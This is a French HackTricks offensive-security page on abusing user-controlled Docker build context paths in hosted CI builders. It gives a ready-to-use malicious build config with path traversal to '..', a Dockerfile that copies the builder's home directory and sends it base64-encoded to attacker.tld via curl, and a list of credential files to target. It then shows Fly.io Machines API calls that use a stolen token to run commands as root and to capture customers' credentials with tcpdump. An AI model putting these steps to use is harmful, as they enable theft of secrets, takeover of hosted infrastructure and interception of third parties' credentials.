Abuser du Docker Build Context dans les builders hébergés (Path Traversal, Exfil, and Cloud Pivot)

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

TL;DR

Si une plateforme CI/CD ou un hosted builder permet aux contributeurs de spécifier le chemin du Docker build context et le chemin du Dockerfile, vous pouvez souvent définir le contexte sur un répertoire parent (par ex., "..") et inclure des fichiers de l’hôte dans le build context. Ensuite, un Dockerfile contrôlé par l’attaquant peut utiliser COPY et exfiltrate des secrets trouvés dans le home de l’utilisateur du builder (par exemple ~/.docker/config.json). Des registry tokens volés peuvent aussi fonctionner contre les control-plane APIs du fournisseur, permettant un RCE à l’échelle de l’organisation.

Surface d'attaque

Beaucoup de services de hosted builder/registry font grosso modo ceci lors de la construction d’images soumises par des utilisateurs :

  • Lire une configuration au niveau du repo qui inclut :
    • build context path (envoyé au Docker daemon)
    • Dockerfile path relatif à ce contexte
  • Copier le répertoire du build context indiqué et le Dockerfile vers le Docker daemon
  • Build l’image et l’exécuter comme service hébergé

Si la plateforme ne canonise pas et ne restreint pas le build context, un utilisateur peut le définir sur un emplacement en dehors du dépôt (path traversal), faisant en sorte que des fichiers arbitraires de l’hôte lisibles par l’utilisateur de build deviennent partie du build context et disponibles pour COPY dans le Dockerfile.

Contraintes pratiques couramment observées :

  • Le Dockerfile doit résider dans le chemin de contexte choisi et son chemin doit être connu à l’avance.
  • L’utilisateur de build doit avoir un accès en lecture aux fichiers inclus dans le contexte ; des fichiers device spéciaux peuvent casser la copie.

PoC: Path traversal via Docker build context

Exemple de config de serveur malveillant déclarant un Dockerfile dans le contexte du répertoire parent :

yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Remarques:

  • L'utilisation de ".." se résout souvent vers le répertoire home de l’utilisateur builder (p.ex., /home/builder), qui contient typiquement des fichiers sensibles.
  • Placez votre Dockerfile sous le nom de répertoire du repo (p.ex., repo "test" → test/Dockerfile) afin qu'il reste dans le contexte parent étendu.

PoC: Dockerfile pour ingérer et exfiltrer le contexte de l'hôte

dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Cibles couramment récupérées depuis $HOME :

  • ~/.docker/config.json (registry auths/tokens)
  • Autres caches et configs cloud/CLI (p. ex., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Astuce : Même avec un .dockerignore dans le dépôt, la sélection de contexte côté plateforme vulnérable détermine toujours ce qui est envoyé au daemon. Si la plateforme copie le chemin choisi vers le daemon avant d'évaluer le .dockerignore de votre repo, des fichiers hôtes peuvent encore être exposés.

Cloud pivot with overprivileged tokens (example: Fly.io Machines API)

Certaines plateformes émettent un seul bearer token utilisable à la fois pour le container registry et l'API control-plane. Si vous exfiltrez un registry token, essayez-le contre l'API du provider.

Exemples d'appels API contre Fly.io Machines API en utilisant le token volé depuis ~/.docker/config.json :

Enumerate apps in an org:

bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Exécuter une commande en tant que root sur n'importe quelle machine d'une app :

bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Résultat : org-wide remote code execution sur toutes les applications hébergées lorsque le token dispose de privilèges suffisants.

Vol de secrets depuis des services hébergés compromis

Avec exec/RCE sur des serveurs hébergés, vous pouvez récolter des secrets fournis par les clients (API keys, tokens) ou monter des prompt-injection attacks. Exemple : installez tcpdump et capturez le trafic HTTP sur le port 8080 pour extraire les inbound credentials.

bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Les requêtes capturées contiennent souvent des identifiants client dans les en-têtes, les corps ou les paramètres de requête.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks